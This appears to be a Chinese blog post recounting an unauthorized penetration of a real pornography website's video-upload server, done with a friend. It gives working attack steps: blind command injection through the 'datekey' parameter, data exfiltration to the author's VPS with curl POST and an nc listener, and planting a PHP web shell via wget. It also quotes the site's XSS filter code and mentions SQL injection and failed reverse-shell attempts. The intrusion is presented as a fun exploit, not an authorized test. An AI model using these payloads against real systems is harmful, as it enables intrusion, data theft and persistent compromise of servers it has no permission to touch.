对某颜色网站的一次渗透

起因

文中图片是后期补的,有些地方可能缺少图片

刚输了把排位,大师傅问我


打开网站一看,哇,搞颜色(真香),这种严重不符合社会主义核心价值的东西,必须铲除

信息收集

这个站点是基于 ThinkPHP 5.0.24 开发,RCE漏洞也不存在了。

端口开放的也不多,端口上尝试了一下,没什么进展,就放弃了。

尝试了下目录扫描,因为是框架开发,路由做的很完善,也没扫到什么敏感信息。

只能针对该网站的功能进行逐一测试了,我自己测试了一些功能点后,最后只在留言框处发现一处XSS,尝试XSS盲打一波。至此也没发现其他重要线索了。

问大师傅有啥线索没,大师傅给了提示说视频上传处有机会。开始针对文件上传进行测试,因为电脑上没有较小的视频,所以我传了一部2个G的西红柿首富….就是因为这两个G,让我瞎折腾了好久。

因为上传视频过大,文件无法一次传输完毕,需要多次传输,而我抓取到的数据包就是分段传输的内容。重发数据包的响应内容均为 failed

无论改动什么参数,响应内容均为 failed ,这让我很无奈。

在进行上传之前,会发送一个签名数据包,修改数据包的 datekey 会报错,根据爆错信息来看是一个 insert 语句,插入的内容应该是视频的信息。经过一番测试,确定了这里存在注入,但无法报错注入,过滤了某些东西。

因为没有找到后台,注入这里也没继续往下挖掘了,等最后实在没办法了,在来想办法跑下数据库。

最后问了问大师傅,发现大师傅的上传数据包跟我的不一样(当时没发现问题在哪)…..就先不管了,把大师傅的数据包要过来进行测试。

突破

当我还在测试上传数据包的时候,大师傅告诉我他 RCE 了….

问了大师傅思路,查看上传数据包的响应内容,最前面是 PHPWARRING 警告信息,最后有一句 bash 的删除命令。然后命令中的文件名称的一部分是从 datekey 参数处获取的。将 datekey 内容换成 payload

1
datekey = | curl `whoami`.dnslog |

dnslog 平台成功获得回显。获得无回显RCE一枚。

getshell

接下来就是想如何 getshell 了。这里想直接反弹一个shell回来,但试了用bash,python反弹都失败了。

然后通过 curl 的方式将文件内容给带出来,一开始尝试的是,curl vps:ip?id=`cat flag`

但是要么无法获取内容,要么就是内容无法获取全。

最后利用 curl 命令上传文件,将文件内容放在 POST 数据包中带出。payload 如下:

1
2
curl -X POST -F [email protected] vps_ip:pot # 在目标上执行
nc -lvp port # 在 vps上执行

利用这种方式,读取到了部分文件内容,通过阅读源码,知道了为什么无法使用 bash 以及 python 弹shell,因为输入都经过了一个过滤 XSS 的函数,某些特殊字符被过滤了,这也是之前报错注入无法注入的原因。过滤代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs

$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG [email protected]:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '[email protected]#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars

// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}

// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);

$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(&#0{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
$val = htmlspecialchars($val);
return $val;
}

如何突破这个函数,其实方法应该是挺多的,我这里直接使用 wget 命令来下载脚本到目标上来进行 getshellpayload 如下。

1
wget -O shell.php vps_ip

至此 getshell 完成。

结尾

这个上传服务器跟颜色网站不属于同一台服务器。然后因为这台上传服务器没有内网。也就没继续深入了。服务器上的数据库也就只有视频的一些属性信息,没有啥有趣的内容。

但这次遇到问题,然后突破的过程挺有趣的,比以前日的几个站都曲折一些,学到的也更多。